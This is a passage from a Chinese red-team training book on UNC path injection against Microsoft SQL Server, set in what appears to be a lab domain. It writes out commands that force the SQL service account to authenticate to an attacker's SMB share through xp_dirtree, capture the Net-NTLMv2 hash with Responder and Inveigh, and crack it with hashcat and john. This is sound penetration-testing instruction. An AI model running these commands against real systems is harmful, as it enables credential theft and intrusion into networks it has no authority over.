本文选自《内网安全攻防:红队之路》
扫描二维码五折购书
UNC路径注入
如果我们能强制SQL服务器连接到我们控制的SMB共享,连接将会包含认证数据。更具体的来说,将会发起一个NTLM认证,我们将能捕获到运行SQL服务的账户的密码hash。然后我们可以尝试破解这个hash,或者进行hash转发攻击。
要强制SQL服务器发起一个SMB连接请求,我们可以使用xp_dirtree SQL存储过程实现。该存储过程会列出指定路径下的所有文件,不仅是本地文件,也接受SMB共享作为目标。
如果我们低权限用户(比如上面的dev\dave)访问数据库并执行xp_dirtree存储过程,运行SQL服务的服务账户将会尝试列出指定SMB共享的内容。SMB共享通常使用Universal Naming Convention(UNC)路径提供,格式如下:
\\hostname\folder\file
如果hostname为IP地址,Windows将自动使用NTLM认证而不是Kerberos。在实际测试场景,如果xp_dirtree被移除,还有其他的一些存储过程也可以用来发起一个SMB共享访问请求,具体可参考:https://github.com/NetSPI/PowerUpSQL/wiki/SQL-Server---UNC-Path-Injection-Cheat-Sheet
下面我们介绍具体的攻击过程。首先在kali上运行responder,-I指定使用的网卡,如果不想跳过先前捕获的hash,可以加上-v参数:
sudo responder -I eth0 -v
然后在域内主机,以普通域用户dev\dave,使用PowerUpSQL.ps1执行UNC路径注入,-CaptureIp为kali的IP:
Invoke-SQLUncPathInjection -Verbose -CaptureIp 192.168.3.104
使用PowerUpSQL.ps1执行UNC路径注入
如果成功,我们将能在kali上捕获到运行SQL服务的账户的密码hash:
responder捕获hash
Responder获得的hash是Net-NTLM或者NTLMv2 hash。当使用NTLM协议认证时,会基于NTLM hash创建挑战(challenge)和响应(response),产生的结果hash称为Net-NTLM。
我们可以使用hashcat进行破解。hashcat主要是利用GPU的能力,因为在虚拟机里面,我们使用--force参数。此外如果虚拟机的内存太小,也会报错:* Device #1: Not enough allocatable device memory for this attack.,此时可以尝试增加下虚拟机的内存,4G时可成功执行。将hash内容保存到hash.txt:
hashcat -m 5600 hash.txt Tools/pwd.txt --force
hashcat破解NTLMv2 hash
此外,也可以使用john进行爆破:
john --format=netntlmv2 hash.txt --wordlist=Tools/pwd.txt
john破解NTLMv2 hash
需要注意的是PowerUpSQL每次运行都会从github加载Inveigh,如果目标环境不出网,可能运行失败。我们可以修改脚本,从文件进行加载:
# Attempt to load Inveigh from file
$InveighSrc = Get-Content .\Inveigh.ps1 -ErrorAction SilentlyContinue
Invoke-Expression($InveighSrc)
此外,Invoke-SQLUncPathInjection命令会自动枚举域内的SQL server实例,然后对每个可访问的实例都会执行UNC路径注入。如果我们只想对单个SQL server实例进行UNC路径注入,可以使用另一个工具ESC,下载地址为https://github.com/NetSPI/ESC。这个工具第一次执行EXEC命令可能会失败,可以多执行一次。
首先使用discover发现域内存在的SQL server实例,然后使用set命令指定我们想要执行UNC路径注入的SQL实例,最后执行xp_dirtree存储过程:
discover domainspn
set instance dev-dc01.dev.ms08067.cn
EXEC master..xp_dirtree '\\192.168.3.104\test'
使用ESC执行UNC路径注入
— 实验室旗下直播培训课程 —